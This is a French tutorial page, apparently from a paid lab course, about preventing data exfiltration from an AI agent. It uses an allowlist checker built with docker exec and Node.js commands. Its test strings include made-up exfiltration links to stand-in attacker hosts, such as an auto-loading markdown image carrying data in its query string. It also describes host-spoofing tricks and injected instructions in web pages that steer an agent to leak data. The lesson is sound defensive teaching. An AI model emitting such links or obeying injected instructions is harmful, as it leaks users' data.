Plus facile à lire avec un fond crème, une teinte, plus de contraste ou un texte plus grand ? Choisissez vos couleurs et votre texte, une fois pour toutes les pages.

Leçon gratuite

Empêcher l’exfiltration de données d’un agent IA

Après cette leçon: Je peux fermer les routes par lesquelles les données quittent un agent, avec une liste de destinations autorisées que le code vérifie.

Leçon de 65 min9 commandesLab agent de code IA : utiliser opencode pour expliquer et corriger du code, et vérifier son travail

Comment les données quittent un agent IA

L’exfiltration, c’est une fuite de données par une route que le propriétaire n’avait pas prévue. Un agent a plus de routes qu’un agent de discussion : des liens dans ses réponses, des images, des appels d’outils et des requêtes web.

Le module « Sécuriser les applications LLM » traite l’injection. Cette leçon ferme les sorties, pour qu’un ordre caché dans une page n’ait nulle part où envoyer ce que l’agent sait.

À la fin de cette leçon

Remarque

Je peux fermer les routes par lesquelles les données quittent un agent, avec une liste de destinations autorisées que le code vérifie.

Mots clés

MotCe que ça veut direExemple
Exfiltrationdes données qui sortent par une route que le propriétaire n’avait pas prévue
Liste d’autorisationles seules destinations permises, toutes les autres étant refuséesdocs.exemple.fr
Hôtele nom du serveur dans un lien, entre // et le / suivant
Chaîne de requêtela partie d’un lien après le point d’interrogation, qui peut porter des données
Sortie réseaule trafic qui quitte votre système vers un autre

Les cellules que les étudiants remplissent restent vides dans cet aperçu.

Quatre routes par où les données sortent

Un lien dans la réponse : l’utilisateur clique et l’adresse porte des données. Une image dans la réponse : le navigateur la charge tout seul, donc les données partent sans clic.

Un appel d’outil : une requête de l’agent avec des données dans ses arguments. Un nom de fichier ou un message envoyé à un outil de discussion ou de courrier.

Les quatre placent des données dans une destination ou un message. Vérifiez donc où va chacune.

Exemple guidé : route et contrôle

RouteComment les données sortentLe contrôle
LienDans la chaîne de requête ou le cheminL’hôte est dans la liste d’autorisation
ImageLe navigateur la charge aussitôtMême contrôle de l’hôte, ou aucune image
Outil de requête webDans l’adresse ou le corpsHôte dans la liste, et méthode limitée
Outil de discussion ou de courrierDans le texte du messageDestinataire dans la liste

Les cellules que les étudiants remplissent restent vides dans cet aperçu.

Le Run vérifie des liens, il n’envoie rien

Le premier script contient quatre sorties inventées. Il trouve chaque lien et lit son hôte. Puis il compare l’hôte à une liste d’autorisation.

Rien n’est récupéré. Les adresses sont inventées et le script se contente de les lire. Notez l’écriture du lien d’image : il commence par un point d’exclamation, que le script fabrique à partir d’un code de caractère.

Écrire le vérificateur de liens, partie 1

Commande
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const autorises = [\"docs.exemple.fr\", \"aide.exemple.fr\"];' 'const bang = String.fromCharCode(33);' 'const sorties = [' '  \"Voir le guide sur https://docs.exemple.fr/debut pour les étapes.\",' '  \"Fait. \" + bang + \"[logo](https://img.pirate.exemple/p.png?d=ANNE-4411)\",' '  \"Ouvrez [le formulaire](https://aide.exemple.fr/forme) pour continuer.\",' '  \"Cliquez sur https://suivi.exemple.net/c?note=secret pour confirmer.\",' '];' > sortie.js"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Écrire le vérificateur de liens, partie 2

Commande
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hoteDe(url) {' '  return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsDans(texte) {' '  const trouvees = [];' '  for (const mot of texte.split(\" \")) {' '    const debut = mot.indexOf(\"http\");' '    if (debut >= 0) trouvees.push(mot.slice(debut).split(\")\")[0]);' '  }' '  return trouvees;' '}' 'for (const texte of sorties) {' '  for (const url of urlsDans(texte)) {' '    const ok = autorises.includes(hoteDe(url));' '    const requete = url.includes(\"?\") ? \"  (porte une requête)\" : \"\";' '    console.log((ok ? \"autorisé  \" : \"BLOQUÉ  \") + hoteDe(url) + requete);' '  }' '}' >> sortie.js"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Lancer le vérificateur de liens

Commande
docker exec -w /home/node/project agent node sortie.js

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Ce qu’affiche le script

LigneCe qu’elle montre
autorisé docs.exemple.frL’hôte est dans la liste
BLOQUÉ img.pirate.exemple (porte une requête)Une image vers un inconnu, avec des données dans l’adresse
autorisé aide.exemple.frUn lien vers un hôte listé
BLOQUÉ suivi.exemple.net (porte une requête)Un hôte que personne n’a listé

Les cellules que les étudiants remplissent restent vides dans cet aperçu.

Comparez l’hôte entier, exactement

Vérifier qu’un lien commence par le nom autorisé est trop faible. Le lien docs.exemple.fr.pirate.exemple commence ainsi et va ailleurs.

Un lien peut aussi contenir un nom avant une arobase. Dans [email protected], le vrai hôte est la partie après l’arobase. Extrayez l’hôte, puis comparez-le en entier.

Une erreur fréquente

Attention

Beaucoup écrivent une liste noire de mauvais hôtes. Les attaquants en ont une infinité de nouveaux. Listez ce qui est autorisé et refusez le reste, dans le code, avant d’afficher la réponse.

Écrire le script du modèle, partie 1

Commande
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const { demander } = require(\"./model\");' '' 'const autorises = [\"docs.exemple.fr\", \"aide.exemple.fr\"];' 'const messages = [' '  { role: \"system\", content: \"Tu aides les utilisateurs d’un logiciel. Réponds en une phrase avec un seul lien markdown vers https://docs.exemple.fr/aide.\" },' '  { role: \"user\", content: \"Où trouver de l’aide ?\" },' '];' '// Échantillon enregistré, utilisé seulement quand aucun modèle ne répond.' 'const echantillon = \"Vous trouverez de l’aide dans [le guide](https://docs.exemple.fr/aide).\";' > sortie2.js"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Écrire le script du modèle, partie 2

Commande
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hoteDe(url) {' '  return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsDans(texte) {' '  const trouvees = [];' '  for (const mot of texte.split(\" \")) {' '    const debut = mot.indexOf(\"http\");' '    if (debut >= 0) trouvees.push(mot.slice(debut).split(\")\")[0]);' '  }' '  return trouvees;' '}' >> sortie2.js"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Écrire le script du modèle, partie 3

Commande
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'async function main() {' '  const reponse = await demander(messages, echantillon, 80);' '  console.log(\"Réponse : \" + reponse);' '  const urls = urlsDans(reponse);' '  console.log(\"Liens trouvés : \" + urls.length);' '  for (const url of urls) {' '    console.log((autorises.includes(hoteDe(url)) ? \"autorisé  \" : \"BLOQUÉ  \") + hoteDe(url));' '  }' '}' 'main();' >> sortie2.js"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Écrire l’assistant du modèle, partie 1

Commande
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const base = process.env.AI_URL || \"http://ai:4000\";' 'async function demander(messages, echantillon, max) {' '  try {' '    const res = await fetch(base + \"/v1/chat/completions\", {' '      method: \"POST\",' '      headers: { \"content-type\": \"application/json\", authorization: \"Bearer lab\" },' '      body: JSON.stringify({ model: \"lab\", messages: messages, max_tokens: max || 200 }),' '      signal: AbortSignal.timeout(30000),' '    });' '    if (res.ok === false) throw new Error(\"statut \" + res.status);' '    return (await res.json()).choices[0].message.content;' > model.js"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Écrire l’assistant du modèle, partie 2

Commande
docker exec -w /home/node/project agent sh -c "printf '%s\n' '  } catch (erreur) {' '    console.log(\"Échantillon enregistré : aucun modèle n’a répondu (\" + erreur.message + \").\");' '    const liste = [].concat(echantillon);' '    const tour = messages.filter(function (m) { return m.role === \"assistant\"; }).length;' '    return liste[Math.min(tour, liste.length - 1)];' '  }' '}' 'module.exports = { demander };' >> model.js"

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Lancer avec le modèle

Commande
docker exec -w /home/node/project agent node sortie2.js

Affichée ici, non exécutée. Créez un compte gratuit pour appuyer sur Exécuter et la saisir dans le terminal de votre propre labo.

Une sortie possible

LigneCe qu’elle peut montrer
RéponseUne phrase avec un lien. Les mots changent à chaque exécution
Liens trouvésSouvent 1. Le programme compte ce que la réponse contient
autorisé ou BLOQUÉautorisé quand l’hôte est listé. BLOQUÉ pour tout autre hôte
Échantillon enregistréAffiché en premier quand aucun modèle n’a répondu. Le script continue avec l’échantillon

Les cellules que les étudiants remplissent restent vides dans cet aperçu.

À propos de ce labo et de sa source: Lab agent de code IA : utiliser opencode pour expliquer et corriger du code, et vérifier son travail

Vous enseignez à une classe ? Proposez ce module à vos étudiants avec un guide de l'enseignant, des devoirs corrigés et un laboratoire pour chaque étudiant.